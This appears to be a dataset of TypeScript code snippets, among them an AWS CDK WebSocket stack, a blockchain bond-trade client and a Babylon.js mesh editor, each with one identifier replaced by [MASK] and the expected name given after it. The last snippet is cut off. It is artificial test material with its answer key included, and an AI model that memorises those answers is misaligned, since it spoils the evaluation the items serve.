    async execute(input: string): Promise<any> {
        const result = await this.executor.call({ input });
        
        return {
            output: result.output,
            actions: result.intermediateSteps.map(step => ({
                tool: step.action.tool,
                input: step.action.toolInput,
                thought: step.action.log,
            })),
        };
    }
}",vectorStore
832,"import * as cdk from ""aws-cdk-lib"";
import { Construct } from ""constructs"";
import * as lambda from ""aws-cdk-lib/aws-lambda"";
import * as apigatewayv2 from 'aws-cdk-lib/aws-apigatewayv2';
import * as secretsmanager from 'aws-cdk-lib/aws-secretsmanager';
import * as iam from 'aws-cdk-lib/aws-iam';
import * as dynamodb from 'aws-cdk-lib/aws-dynamodb';
import * as dotenv from 'dotenv';

dotenv.config();

export class PhidataAgentServerlessWebsocketStack extends cdk.Stack {
  constructor(scope: Construct, id: string, props?: cdk.StackProps) {
    super(scope, id, props);

    const requiredEnvVars = [
        'OPENAI_API_KEY',
    ];

    for (const envVar of requiredEnvVars) {
        if (typeof process.env[envVar] !== 'string') {
            throw new Error(`${envVar} environment variable is not set`);
        }
    }
    
    // Create DynamoDB table for connection management
    const connectionsTable = new dynamodb.Table(this, 'WebSocketConnectionsTable', {
      tableName: 'websocket-connections',
      partitionKey: { name: 'connectionId', type: dynamodb.AttributeType.STRING },
      timeToLiveAttribute: 'ttl',
      removalPolicy: cdk.RemovalPolicy.DESTROY, // For development - change for production
      billingMode: dynamodb.BillingMode.PAY_PER_REQUEST,
    });
    
    const secret = new secretsmanager.Secret(this, 'EnvVarsSecret', {
        secretName: 'PhidataServerlessAgentSecrets',
        generateSecretString: {
            secretStringTemplate: JSON.stringify({
                OPENAI_API_KEY: process.env.OPENAI_API_KEY,
            }),
            generateStringKey: 'ignore_this',
        }
    });        

    // Create WebSocket API
    const webSocketApi = new apigatewayv2.CfnApi(this, 'PhidataServerlessAgentWebSocketApi', {
      name: 'PhidataServerlessAgentWebSocketApi',
      protocolType: 'WEBSOCKET',
      routeSelectionExpression: '$request.body.action',
    });

    // Create Agent Lambda
    const  [MASK]  = new lambda.DockerImageFunction(this, ""PhidataServerlessAgent"", {
        code: lambda.DockerImageCode.fromImageAsset(""./lambdas/agents""),
        memorySize: 1024 * 2,
        architecture: lambda.Architecture.X86_64,
        timeout: cdk.Duration.seconds(90),
        environment: {
            SECRET_STORAGE: secret.secretName,
        },
    });

    // Create Connection Handler Lambda
    const connectionHandlerLambda = new lambda.Function(this, ""WebSocketConnectionHandler"", {
        runtime: lambda.Runtime.PYTHON_3_9,
        code: lambda.Code.fromAsset(""./lambdas/connection_handler""),
        handler: ""handler.handler"",
        memorySize: 256,
        timeout: cdk.Duration.seconds(30),
        environment: {
            AGENT_LAMBDA_NAME:  [MASK] .functionName,
            CONNECTIONS_TABLE_NAME: connectionsTable.tableName,
            REGION: this.region
        }
    });

    // Grant DynamoDB permissions to the Connection Handler Lambda
    connectionsTable.grantReadWriteData(connectionHandlerLambda);

    // Grant permissions to the Connection Handler Lambda
    connectionHandlerLambda.addToRolePolicy(new iam.PolicyStatement({
      effect: iam.Effect.ALLOW,
      actions: [
        'execute-api:ManageConnections',
        'lambda:InvokeFunction'
      ],
      resources: [
        `arn:aws:execute-api:${this.region}:${this.account}:${webSocketApi.ref}/*`,
         [MASK] .functionArn
      ]
    }));

    // Grant permissions to the Agent Lambda
     [MASK] .addToRolePolicy(new iam.PolicyStatement({
      effect: iam.Effect.ALLOW,
      actions: [
        'execute-api:ManageConnections'
      ],
      resources: [
        `arn:aws:execute-api:${this.region}:${this.account}:${webSocketApi.ref}/*`
      ]
    }));

    secret.grantRead( [MASK] );

    // Create Lambda integration for the connection handler
    const connectIntegration = new apigatewayv2.CfnIntegration(this, 'ConnectIntegration', {
      apiId: webSocketApi.ref,
      integrationType: 'AWS_PROXY',
      integrationUri: `arn:aws:apigateway:${this.region}:lambda:path/2015-03-31/functions/${connectionHandlerLambda.functionArn}/invocations`,
    });

    // Create routes
    new apigatewayv2.CfnRoute(this, 'ConnectRoute', {
      apiId: webSocketApi.ref,
      routeKey: '$connect',
      authorizationType: 'NONE',
      target: `integrations/${connectIntegration.ref}`,
    });

    new apigatewayv2.CfnRoute(this, 'DisconnectRoute', {
      apiId: webSocketApi.ref,
      routeKey: '$disconnect',
      authorizationType: 'NONE',
      target: `integrations/${connectIntegration.ref}`,
    });

    new apigatewayv2.CfnRoute(this, 'DefaultRoute', {
      apiId: webSocketApi.ref,
      routeKey: '$default',
      authorizationType: 'NONE',
      target: `integrations/${connectIntegration.ref}`,
    });

    // Create and deploy stage
    const stage = new apigatewayv2.CfnStage(this, 'ProductionStage', {
      apiId: webSocketApi.ref,
      stageName: 'prod',
      autoDeploy: true,
    });

    // Grant Lambda permissions to be invoked by API Gateway
    connectionHandlerLambda.addPermission('WebSocketPermission', {
      principal: new iam.ServicePrincipal('apigateway.amazonaws.com'),
      sourceArn: `arn:aws:execute-api:${this.region}:${this.account}:${webSocketApi.ref}/*`,
    });

    new cdk.CfnOutput(this, ""SecretName"", {
        value: secret.secretName,
    });    

    new cdk.CfnOutput(this, ""WebSocketApiUrl"", {
        value: `wss://${webSocketApi.ref}.execute-api.${this.region}.amazonaws.com/${stage.stageName}`,
    });

    new cdk.CfnOutput(this, ""ConnectionsTableName"", {
        value: connectionsTable.tableName,
    });
  }
}",agentLambda
833,"import { file, prompt } from ""../ts/exports"";
import { getTodoList_obj } from ""./todoStorage.interface"";
import { todoStorage } from ""./interface"";

export default class todoStorageUtil{
    storageUri: Text;
    todoStorageContent: todoStorage
    debugMode: Boolean;
    constructor(storageUri: Text,  [MASK] : Boolean){
        this.storageUri = storageUri
        this.debugMode =  [MASK] 
    };
    async getTodoList(obj:getTodoList_obj):Promise<todoStorage> {
       file.readText({
            uri: 'internal://files/cora-todolist.json.txt',
            success: (text) => {
                this.todoStorageContent = JSON.parse(text);
                if (this.debugMode){
                    prompt.showToast({
                        message: '获取待办存储内容成功'
                    });
                }
                
            },
            fail: (err) => {
                prompt.showToast({
                    message: '获取失败, 错误代码'+err
                })
            }
        });
        return this.todoStorageContent;
    }
}

",debugmode
834,"import path from 'path';
import * as fs from 'fs';
import { decodeOpponent, decodeToLose, decodeToWin, decodeYou } from './helper';

const strategy = fs.readFileSync(path.join(__dirname, 'day2.puzzle.in.txt'), { encoding: 'utf-8' }).trim().split('\n')
                   .map(l => l.split(' '))
                   .map(([op, you]) => ({ opponent: op, you: you }));

const baseScore = ( [MASK] : string) => ({ 'Rock': 1, 'Paper': 2, 'Scissors': 3 }[ [MASK] ] || 0);

const score = (you: string, opponent: string): number => {
  const youWin = opponent === 'Scissors' && you === 'Rock' || opponent === 'Paper' && you === 'Scissors' || opponent === 'Rock' && you === 'Paper';
  const youLose = opponent === 'Rock' && you === 'Scissors' || opponent === 'Scissors' && you === 'Paper' || opponent === 'Paper' && you === 'Rock';
  const youDraw = opponent === you;
  return youWin ? 6 : youLose ? 0 : youDraw ? 3 : 0;
};

const scoreRound = (mySelection: string, opponentSelection: string): number => score(mySelection, opponentSelection) + baseScore(mySelection);

const totalScorePart1 = strategy.map(({ opponent, you }) => scoreRound(decodeYou(you), decodeOpponent(opponent)))
                                .reduce((acc, cur) => acc + cur, 0);

let totalScorePart2 = 0;
for (let { opponent, you } of strategy) {
  you = you === 'X' ? decodeToLose(decodeOpponent(opponent)) : you === 'Y' ? decodeOpponent(opponent) : you ? decodeToWin(decodeOpponent(opponent)) : 'Fail';
  opponent = decodeOpponent(opponent);
  totalScorePart2 += scoreRound(you, decodeOpponent(opponent));
}
console.log(`Part 1 - Total score: ${totalScorePart1}`);
console.log(`Part 2 - Total score: ${totalScorePart2}`);
",selection
835,"import { ControllerMetadata } from '../../types';
import { CONTROLLER_METADATA_KEY } from './constants';

/**
 * adds {@link ControllerMetadata} to the class
 * @param path the path of the resource
 * @returns a decorated class with metadata which helps to represent a api http resource
 */
export const Controller = (path: string) =>
  function <T extends { new (...args: any[]): {} }>(contructor: T): T | void {
    const  [MASK] : ControllerMetadata = Reflect.getMetadata(
      CONTROLLER_METADATA_KEY,
      contructor,
    );

    const newControllerMeta = {
      ... [MASK] ,
      path,
    };

    Reflect.defineMetadata(CONTROLLER_METADATA_KEY, newControllerMeta, contructor);

    return contructor;
  };

export const getControllerMetadata = (object: Record<string, any>) => {
  const constructor = Reflect.getPrototypeOf(object).constructor;
  const meta: ControllerMetadata = Reflect.getMetadata(CONTROLLER_METADATA_KEY, constructor);
  return meta;
};

export const isDecoratedWithController = (object: Record<string, any>): boolean => {
  const constructor = Reflect.getPrototypeOf(object).constructor;
  return Reflect.hasMetadata(CONTROLLER_METADATA_KEY, constructor);
};
",controllerMeta
836,"import {Component, ViewChild} from '@angular/core';
import {SchemaService} from './services/schema.service';
import {Router, RoutesRecognized} from '@angular/router';
import {Location} from '@angular/common';
import {MatMenuTrigger} from '@angular/material';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.scss']
})
export class AppComponent {
  version: string;
  latestVersion: string;
  versions: string[];

  @ViewChild('latestVersionMenuTrigger') matMenu: MatMenuTrigger;

  constructor(private schemaService: SchemaService,
              private router: Router,
              private location: Location) {
    this.schemaService.getCurrentVersionNumber()
      .subscribe(v => {
        this.version = v;
      });

    this.schemaService.getVersions()
      .subscribe(
        versions => {
          const  [MASK]  = this.sortVersions(versions);
          this.latestVersion =  [MASK] [0];
        }
      );

    this.router.events.subscribe(val => {
      if (val instanceof RoutesRecognized) {
        // TODO error handling of non existent version
        let schemaVersion = val.state.root.firstChild.params['schemaVersion'];

        if (schemaVersion === 'latest') {
          this.schemaService.setLatestVersion();
        } else {
          this.selectVersion(schemaVersion);
        }

        this.schemaService
          .getVersions()
          .subscribe(vs => {
            this.versions = this.sortVersions(vs);
          });
      }
    });
  }

  selectVersion(version: string) {
    this.location.replaceState(`/viewer/${version}`);
    this.schemaService.setVersion(version);
    this.matMenu.closeMenu();
  }

  private sortVersions(versions: string[]): string[] {
    return versions.sort((a, b) => b.localeCompare(a, undefined, {numeric: true}));
  }
}
",sortedVersions
837,"
import { EventData } from ""web3-eth-contract"";
import { EthProviderInterface } from ""@saturn-chain/dlt-tx-data-functions"";
// import AllContracts from ""./contracts"";
import { Web3FunctionProvider } from ""@saturn-chain/web3-functions"";
import { EventFunction } from ""@saturn-chain/smart-contract"";
import { DecodedEvent, InvestorInfo, RegisterDetails, RegisterId, TradeBase, TradeDetails, TradeStatus } from ""./types"";
import { cleanReturnValues, hexToString } from ""./utils"";

import AllContracts from ""./so-bond"";

export * from ""./types"";

const ContractNames = {
  IRegister: ""IRegister"",
  ITrade: ""ITrade"",
  ICoupon: ""ICoupon"", // Not available yet
}

const ZeroAddress = ""0x0000000000000000000000000000000000000000"";

export function getRegisterContract() {
  return AllContracts.get(ContractNames.IRegister)
}

export function getTradeContract() {
  return AllContracts.get(ContractNames.ITrade)
}

export function getCouponContract() {
  return AllContracts.get(ContractNames.ICoupon)
}


let _intfCache: EthProviderInterface|undefined = undefined;
function _intf(): EthProviderInterface|undefined {
  const w: any = window;
  if (!w.AppConfig || !w.AppConfig.rpcUrl) {
    return undefined;
  }
  const i = new Web3FunctionProvider(w.AppConfig.rpcUrl, () => Promise.resolve(ZeroAddress), {queryAccounts: false})
  return i;
}

const awaitingSteps= 10;
export async function awaitInitialization(timeout: number=3000) {
  const w: any = window;
  if (!w.AppConfig) { // Not initialized yet
    if (timeout <= 0) throw new Error(""Timeout waiting for initialization"");
    console.log(""Waiting for initialization..."", timeout, ""max"");
    await new Promise((resolve) => setTimeout(resolve, awaitingSteps));
    await awaitInitialization(timeout - awaitingSteps);
  } else console.log(""Initialization complete"", timeout, ""remaining"");
  
}

function fromBlock(): number {
  const w: any = window;
  if (!w.AppConfig || !w.AppConfig.fromBlock) {
    return 0;
  }
  return w.AppConfig.fromBlock;
}

export function basePath(): string {
  const w: any = window;
  if (!w.AppConfig || !w.AppConfig.basePath) {
    return """";
  }
  return w.AppConfig.basePath;
}

export function intf(): EthProviderInterface {
  if (!_intfCache) {
    const i = _intf();
    if (!i) {
      throw new Error(""No EthProviderInterface available"");
    }
    _intfCache = i;
  }
  return _intfCache;
}

async function loadEvents(event: EventFunction, fromBlock: number, filter: any): Promise<EventData[]> {
  const recv = event(intf().get({fromBlock}), filter);
  const events: EventData[] = [];
  return new Promise((resolve, reject)=>{
    recv.on(""log"", (log) => events.push(log));
    recv.on(""error"", (err) => reject(err));
    recv.on(""completed"", () => resolve(events));
  })
}


export async function listRegisters(): Promise<RegisterId[]> {
  const Register = getRegisterContract();
  const events: EventData[] = await loadEvents(Register.events.RegisterStatusChanged, fromBlock(), {});

  const map: {[key: string]: RegisterId} = {};
  for (const e of events) {
    map[e.address] = {
      address: e.address,
      status: Number.parseInt(e.returnValues.status),
      name: e.returnValues.name,
      isin: e.returnValues.isin,
    }
  }
  return Object.values(map);
}

export async function getRegisterDetails(address: string): Promise<RegisterDetails> {
  const register = getRegisterContract().at(address);
  const [status, data, totalSupply, currentTimestamp, currentCoupon] = await Promise.all([
    register.status(intf().call()),
    register.getBondData(intf().call()),
    register.totalSupply(intf().call()),
    register.currentSnapshotDatetime(intf().call()),
    register.currentCouponDate(intf().call()),
  ]);

  return {
    address,
    status: Number.parseInt(status),
    name: data.name,
    isin: data.isin,
    expectedSupply: Number.parseInt(data.expectedSupply),
    currentSupply: Number.parseInt(totalSupply),
    currency: hexToString(data.currency),
    unitValue: Number.parseInt(data.unitValue),
    couponRate: Number.parseInt(data.couponRate) / 10000,
    creationDate: new Date(Number.parseInt(data.creationDate) * 1000),
    issuanceDate: new Date(Number.parseInt(data.issuanceDate) * 1000),
    maturityDate: new Date(Number.parseInt(data.maturityDate) * 1000),
    couponDates: data.couponDates.map((d: string) => new Date(Number.parseInt(d) * 1000)),
    cutOffTime: new Date(Number.parseInt(data.cutOffTime) * 1000),
    currentSnapshotTimestamp: new Date(Number.parseInt(currentTimestamp) * 1000),
    currentCouponDate: new Date(Number.parseInt(currentCoupon) * 1000),
  }
}

export async function loadEventsForRegister(address: string): Promise<DecodedEvent[]> {
  const register = getRegisterContract().at(address);
  const events: EventData[] = await loadEvents(register.allEvents, 0, {});
  
  
  function objToDisplay(obj: any): string {
    return Object.keys(obj).map((k) => k + "": "" + obj[k]).join("", "");
  }
  return events.map((e) => ({
    id: `${e.blockNumber}-${e.logIndex}`,
    blockNumber: e.blockNumber,
    logIndex: e.logIndex,
    txHash: e.transactionHash,
    eventName: e.event,
    params: cleanReturnValues(e.returnValues),
    display: e.event + ""("" + objToDisplay(cleanReturnValues(e.returnValues))+"")"",
  }));
}

export async function getRegisterInvestors(address: string): Promise<InvestorInfo[]> {
  const register = getRegisterContract().at(address);
  const investorAddresses = await register.getAllInvestors(intf().call());
  const investors = await Promise.all(investorAddresses.map(async (addr: string) => {
    const [custodian, allowed, balance] = await Promise.all([
      register.investorCustodian(intf().call(), addr),
      register.investorsAllowed(intf().call(), addr),
      register.balanceOf(intf().call(), addr),
    ]);
    return {
      address: addr,
      custodian,
      allowed,
      balance: Number.parseInt(balance),
    }
  }));
  return investors;
}

async function fillTradeRegisterCodeHash(t: TradeBase): Promise<TradeBase> {
  if (t.register && t.register != ZeroAddress) {
    const registerContract = getRegisterContract()
    const r = registerContract.at(t.register)
    t.codehash = await r.atReturningHash(intf().call(), t.address)
    if (t.codehash) {
      t.approvedInRegister = await r._contractsAllowed(intf().call(), t.codehash)        
    }
  }
  return t;
}

export async function listTrades(): Promise<TradeBase[]> {
  const tradeContract = getTradeContract();

  const events = await loadEvents(tradeContract.events.NotifyTrade, fromBlock(), {});
  const  [MASK] : Record<string, TradeBase> = {};
  for (const ev of events) {
     [MASK] [ev.address]  = {
      address: ev.address, 
      status: Number.parseInt(ev.returnValues.status),
      seller: ev.returnValues.seller,
      buyer: ev.returnValues.buyer,
      quantity: Number.parseInt(ev.returnValues.quantity)
    }
  }
  const array = Object.values( [MASK] );
  await Promise.all(array.map(async t=>{
    const instance = tradeContract.at(t.address);
    t.register = await instance.register(intf().call());
    t = await fillTradeRegisterCodeHash(t);
  }));

  return array;
}

export async function getTradeDetails(address: string): Promise<TradeDetails> {
  const trade = getTradeContract().at(address);

  const [register, status, seller, details, paymentID] = await Promise.all([
    trade.register(intf().call()),
    trade.status(intf().call()),
    trade.sellerAccount(intf().call()),
    trade.getDetails(intf().call()),
    trade.paymentID(intf().call())
  ]);

  const res: TradeDetails = {
    address,
    buyer: details.buyer,
    paymentId: paymentID.slice(2).toUpperCase(),
    price: Number.parseInt(details.price)/10000,
    quantity: Number.parseInt(details.quantity),
    seller: seller,
    status: status,
    register: register
  };
  const base = await fillTradeRegisterCodeHash(res);
  res.codehash = base.codehash;
  res.approvedInRegister = base.approvedInRegister
  return res;
}",trades
838,"""Generated from Java with JSweet 1.0.0 - http://www.jsweet.org"";
module org.ssatguru.babylonjs.component {
    import AbstractMesh = BABYLON.AbstractMesh;

    import Axis = BABYLON.Axis;

    import Camera = BABYLON.Camera;

    import Color3 = BABYLON.Color3;

    import LinesMesh = BABYLON.LinesMesh;

    import Material = BABYLON.Material;

    import Matrix = BABYLON.Matrix;

    import Mesh = BABYLON.Mesh;

    import PickingInfo = BABYLON.PickingInfo;

    import Quaternion = BABYLON.Quaternion;

    import Scene = BABYLON.Scene;

    import Space = BABYLON.Space;

    import StandardMaterial = BABYLON.StandardMaterial;

    import Vector3 = BABYLON.Vector3;

    export class EditControl {
        private meshPicked: Mesh;

        private canvas: HTMLCanvasElement;

        private scene: Scene;

        private mainCamera: Camera;

        private theParent: Mesh;

        private local: boolean = true;

        private snapT: boolean = false;

        private snapR: boolean = false;

        private transSnap: number = 1;

        private rotSnap: number = Math.PI / 18;

        private axesLen: number = 0.4;

        private axesScale: number = 1;

        private redMat: StandardMaterial;

        private greenMat: StandardMaterial;

        private blueMat: StandardMaterial;

        private whiteMat: StandardMaterial;

        private yellowMat: StandardMaterial;

        private actHist: ActHist;

        private renderer: () => void;

        private pointerdown: EventListener;

        private pointerup: EventListener;

        private pointermove: EventListener;

        public constructor(mesh: Mesh, camera: Camera, canvas: HTMLCanvasElement, scale: number)  {
            this.meshPicked = mesh;
            this.canvas = canvas;
            this.axesScale = scale;
            this.scene = mesh.getScene();
            this.mainCamera = camera;
            this.actHist = new ActHist(mesh, 10);
            mesh.computeWorldMatrix(true);
            this.theParent = new Mesh(""EditControl"", this.scene);
            this.theParent.position = this.meshPicked.absolutePosition;
            this.theParent.visibility = 0;
            this.theParent.isPickable = false;
            this.createMaterials(this.scene);
            this.createGuideAxes();
            this.guideCtl.parent = this.theParent;
            this.createPickPlane();
            this.pickPlane.parent = this.theParent;
            this.pointerdown = (evt) => { return this.onPointerDown(evt) };
            this.pointerup = (evt) => { return this.onPointerUp(evt) };
            this.pointermove = (evt) => { return this.onPointerMove(evt) };
            canvas.addEventListener(""pointerdown"", this.pointerdown, false);
            canvas.addEventListener(""pointerup"", this.pointerup, false);
            canvas.addEventListener(""pointermove"", this.pointermove, false);
            this.setLocalAxes(mesh);
            this.renderer = () => { return this.renderLoopProcess() };
            this.scene.registerBeforeRender(this.renderer);
        }

        private renderLoopProcess()  {
            this.setAxesScale();
            this.theParent.position = this.meshPicked.absolutePosition;
            this.onPointerOver();
        }

        public switchTo(mesh: Mesh)  {
            mesh.computeWorldMatrix(true);
            this.meshPicked = mesh;
            this.setLocalAxes(mesh);
            this.actHist = new ActHist(mesh, 10);
        }

        public setUndoCount(c: number)  {
            this.actHist.setCapacity(c);
        }

        public undo()  {
            this.actHist.undo();
            this.meshPicked.computeWorldMatrix(true);
            this.setLocalAxes(this.meshPicked);
        }

        public redo()  {
            this.actHist.redo();
            this.meshPicked.computeWorldMatrix(true);
            this.setLocalAxes(this.meshPicked);
        }

        public detach()  {
            this.canvas.removeEventListener(""pointerdown"", this.pointerdown, false);
            this.canvas.removeEventListener(""pointerup"", this.pointerup, false);
            this.canvas.removeEventListener(""pointermove"", this.pointermove, false);
            this.scene.unregisterBeforeRender(this.renderer);
            this.disposeAll();
        }

        public disposeAll()  {
            this.theParent.dispose();
            this.disposeMaterials();
            this.actHist = null;
        }

        private pDown: boolean = false;

        private axisPicked: Mesh;

        private onPointerDown(evt: Event)  {
            evt.preventDefault();
            this.pDown = true;
            if(((<PointerEvent>evt).button != 0)) return;
            var pickResult: PickingInfo = this.scene.pick(this.scene.pointerX, this.scene.pointerY, (mesh) => {
                if((this.transEnabled)) {
                    if(((mesh == this.tX) || (mesh == this.tY) || (mesh == this.tZ))) return true;
                } else if((this.rotEnabled)) {
                    if(((mesh == this.rX) || (mesh == this.rY) || (mesh == this.rZ))) return true;
                } else if((this.scaleEnabled)) {
                    if(((mesh == this.sX) || (mesh == this.sY) || (mesh == this.sZ) || (mesh == this.sAll))) return true;
                }
                return false;
            }, null, this.mainCamera);
            if((pickResult.hit)) {
                this.setAxisVisiblity(0);
                this.axisPicked = <Mesh>pickResult.pickedMesh;
                (<Mesh>this.axisPicked.getChildren()[0]).visibility = 1;
                var name: string = this.axisPicked.name;
                if((name == ""X"")) this.bXaxis.visibility = 1; else if((name == ""Y"")) this.bYaxis.visibility = 1; else if((name == ""Z"")) this.bZaxis.visibility = 1; else if((name == ""ALL"")) {
                    this.bXaxis.visibility = 1;
                    this.bYaxis.visibility = 1;
                    this.bZaxis.visibility = 1;
                }
                this.editing = true;
                this.prevPos = this.getPosOnPickPlane();
                window.setTimeout(((cam,can) => { return this.detachControl(cam,can) }), 0, this.mainCamera, this.canvas);
            }
        }

        public isEditing() : boolean {
            return this.editing;
        }

        private detachControl(cam: Object, can: Object)  {
            var camera: Camera = <Camera>cam;
            var canvas: HTMLCanvasElement = <HTMLCanvasElement>can;
            camera.detachControl(canvas);
        }

        private prevOverMesh: Mesh;

        private pointerIsOver: boolean = false;

        public isPointerOver() : boolean {
            return this.pointerIsOver;
        }

        private onPointerOver()  {
            if((this.pDown)) return;
            var pickResult: PickingInfo = this.scene.pick(this.scene.pointerX, this.scene.pointerY, (mesh) => {
                if((this.transEnabled)) {
                    if(((mesh == this.tX) || (mesh == this.tY) || (mesh == this.tZ))) return true;
                } else if((this.rotEnabled)) {
                    if(((mesh == this.rX) || (mesh == this.rY) || (mesh == this.rZ))) return true;
                } else if((this.scaleEnabled)) {
                    if(((mesh == this.sX) || (mesh == this.sY) || (mesh == this.sZ) || (mesh == this.sAll))) return true;
                }
                return false;
            }, null, this.mainCamera);
            if((pickResult.hit)) {
                if((<Mesh>pickResult.pickedMesh != this.prevOverMesh)) {
                    this.pointerIsOver = true;
                    if((this.prevOverMesh != null)) {
                        this.prevOverMesh.visibility = 0;
                        this.restoreColor(this.prevOverMesh);
                    }
                    this.prevOverMesh = <Mesh>pickResult.pickedMesh;
                    if((this.rotEnabled)) {
                        (<LinesMesh>this.prevOverMesh.getChildren()[0]).color = Color3.White();
                    } else {
                        (<Mesh>this.prevOverMesh.getChildren()[0]).material = this.whiteMat;
                    }
                    if((this.prevOverMesh.name == ""X"")) {
                        this.xaxis.color = Color3.White();
                    } else if((this.prevOverMesh.name == ""Y"")) {
                        this.yaxis.color = Color3.White();
                    } else if((this.prevOverMesh.name == ""Z"")) {
                        this.zaxis.color = Color3.White();
                    }
                }
            } else {
                this.pointerIsOver = false;
                if((this.prevOverMesh != null)) {
                    this.restoreColor(this.prevOverMesh);
                    this.prevOverMesh = null;
                }
            }
        }

        private restoreColor(mesh: Mesh)  {
            var col: Color3;
            var mat: Material;
            if((mesh.name == ""X"")) {
                col = Color3.Red();
                mat = this.redMat;
                this.xaxis.color = Color3.Red();
            } else if((this.prevOverMesh.name == ""Y"")) {
                col = Color3.Green();
                mat = this.greenMat;
                this.yaxis.color = Color3.Green();
            } else if((this.prevOverMesh.name == ""Z"")) {
                col = Color3.Blue();
                mat = this.blueMat;
                this.zaxis.color = Color3.Blue();
            } else {
                col = Color3.Yellow();
                mat = this.yellowMat;
            }
            if((this.rotEnabled)) {
                (<LinesMesh>this.prevOverMesh.getChildren()[0]).color = col;
            } else {
                (<Mesh>this.prevOverMesh.getChildren()[0]).material = mat;
            }
        }

        editing: boolean = false;

        private onPointerUp(evt: Event)  {
            this.pDown = false;
            if((this.editing)) {
                this.mainCamera.attachControl(this.canvas);
                this.editing = false;
                this.setAxisVisiblity(1);
                this.hideBaxis();
                this.restoreColor(this.prevOverMesh);
                this.prevOverMesh = null;
                this.actHist.add();
            }
        }

        private prevPos: Vector3;

        private snapX: number = 0;

        private snapY: number = 0;

        private snapZ: number = 0;

        private snapRX: number = 0;

        private snapRY: number = 0;

        private snapRZ: number = 0;

        private onPointerMove(evt: Event)  {
            if((!this.pDown || !this.editing)) return;
            var newPos: Vector3 = this.getPosOnPickPlane();
            if((newPos == null)) return;
            if((this.transEnabled)) this.doTranslation(newPos);
            if((this.scaleEnabled && this.local)) this.doScaling(newPos);
            if((this.rotEnabled)) this.doRotation(newPos);
            this.prevPos = newPos;
        }

        private doTranslation(newPos: Vector3)  {
            var diff: Vector3 = newPos.subtract(this.prevPos);
            var dl: number = diff.length();
            var space: Space;
            if((this.local)) space = Space.LOCAL; else space = Space.WORLD;
            if((this.axisPicked == this.tX)) {
                if((this.local)) dl = Vector3.Dot(diff, this.localX) / (this.localX.length() * this.meshPicked.scaling.x); else dl = diff.x;
                if((this.snapT)) {
                    this.snapX+=dl;
                    dl = 0;
                    var scale: number = 1;
                    if((this.local)) scale = this.meshPicked.scaling.x;
                    if((Math.abs(this.snapX) > this.transSnap / scale)) {
                        if((this.snapX > 0)) dl = this.transSnap / scale; else dl = -this.transSnap / scale;
                        this.snapX = 0;
                    }
                }
                if((this.local)) this.meshPicked.translate(Axis.X, dl, space); else this.meshPicked.position.x+=dl;
            } else if((this.axisPicked == this.tY)) {
                if((this.local)) dl = Vector3.Dot(diff, this.localY) / (this.localY.length() * this.meshPicked.scaling.y); else dl = diff.y;
                if((this.snapT)) {
                    this.snapY+=dl;
                    dl = 0;
                    var scale: number = 1;
                    if((this.local)) scale = this.meshPicked.scaling.y;
                    if((Math.abs(this.snapY) > this.transSnap / scale)) {
                        if((this.snapY > 0)) dl = this.transSnap / scale; else dl = -this.transSnap / scale;
                        this.snapY = 0;
                    }
                }
                if((this.local)) this.meshPicked.translate(Axis.Y, dl, space); else this.meshPicked.position.y+=dl;
            } else if((this.axisPicked == this.tZ)) {
                if((this.local)) dl = Vector3.Dot(diff, this.localZ) / (this.localZ.length() * this.meshPicked.scaling.z); else dl = diff.z;
                if((this.snapT)) {
                    this.snapZ+=dl;
                    dl = 0;
                    var scale: number = 1;
                    if((this.local)) scale = this.meshPicked.scaling.z;
                    if((Math.abs(this.snapZ) > this.transSnap / scale)) {
                        if((this.snapZ > 0)) dl = this.transSnap / scale; else dl = -this.transSnap / scale;
                        this.snapZ = 0;
                    }
                }
                if((this.local)) this.meshPicked.translate(Axis.Z, dl, space); else this.meshPicked.position.z+=dl;
            }
        }

        private doScaling(newPos: Vector3)  {
            var ppm: Vector3 = this.prevPos.subtract(this.meshPicked.position);
            var diff: Vector3 = newPos.subtract(this.prevPos);
            var r: number = diff.length() / ppm.length();
            if((this.axisPicked == this.sX)) {
                var dot: number = Vector3.Dot(diff, this.localX);
                if((dot >= 0)) this.meshPicked.scaling.x*=(1 + r); else this.meshPicked.scaling.x*=(1 - r);
            } else if((this.axisPicked == this.sY)) {
                var dot: number = Vector3.Dot(diff, this.localY);
                if((dot >= 0)) this.meshPicked.scaling.y*=(1 + r); else this.meshPicked.scaling.y*=(1 - r);
            } else if((this.axisPicked == this.sZ)) {
                var dot: number = Vector3.Dot(diff, this.localZ);
                if((dot >= 0)) this.meshPicked.scaling.z*=(1 + r); else this.meshPicked.scaling.z*=(1 - r);
            } else if((this.axisPicked == this.sAll)) {
                var dot: number = Vector3.Dot(diff, this.mainCamera.upVector);
                r = diff.length() / 5;
                if((dot < 0)) {
                    r = -1 * r;
                }
                this.meshPicked.scaling.x*=(1 + r);
                this.meshPicked.scaling.y*=(1 + r);
                this.meshPicked.scaling.z*=(1 + r);
            }
        }

        eulerian: boolean = false;

        private doRotation(newPos: Vector3)  {
            if((this.meshPicked.rotation != null && this.meshPicked.rotationQuaternion == null)) {
                this.eulerian = true;
            } else this.eulerian = false;
            var cN: Vector3 = Vector3.TransformNormal(Axis.Z, this.mainCamera.getWorldMatrix());
            if((this.axisPicked == this.rX)) {
                var angle: number = EditControl.getAngle(this.prevPos, newPos, this.meshPicked.absolutePosition, cN);
                if((this.snapR)) {
                    this.snapRX+=angle;
                    angle = 0;
                    if((Math.abs(this.snapRX) >= this.rotSnap)) {
                        if((this.snapRX > 0)) angle = this.rotSnap; else angle = -this.rotSnap;
                        this.snapRX = 0;
                    }
                }
                if((this.local)) {
                    if((Vector3.Dot(this.localX, cN) < 0)) angle = -1 * angle;
                    this.meshPicked.rotate(Axis.X, angle, Space.LOCAL);
                } else this.meshPicked.rotate(new Vector3(cN.x, 0, 0), angle, Space.WORLD);
                this.setLocalAxes(this.meshPicked);
            } else if((this.axisPicked == this.rY)) {
                var angle: number = EditControl.getAngle(this.prevPos, newPos, this.meshPicked.absolutePosition, cN);
                if((this.snapR)) {
                    this.snapRY+=angle;
                    angle = 0;
                    if((Math.abs(this.snapRY) >= this.rotSnap)) {
                        if((this.snapRY > 0)) angle = this.rotSnap; else angle = -this.rotSnap;
                        this.snapRY = 0;
                    }
                }
                if((this.local)) {
                    if((Vector3.Dot(this.localY, cN) < 0)) angle = -1 * angle;
                    this.meshPicked.rotate(Axis.Y, angle, Space.LOCAL);
                } else this.meshPicked.rotate(new Vector3(0, cN.y, 0), angle, Space.WORLD);
                this.setLocalAxes(this.meshPicked);
            } else if((this.axisPicked == this.rZ)) {
                var angle: number = EditControl.getAngle(this.prevPos, newPos, this.meshPicked.absolutePosition, cN);
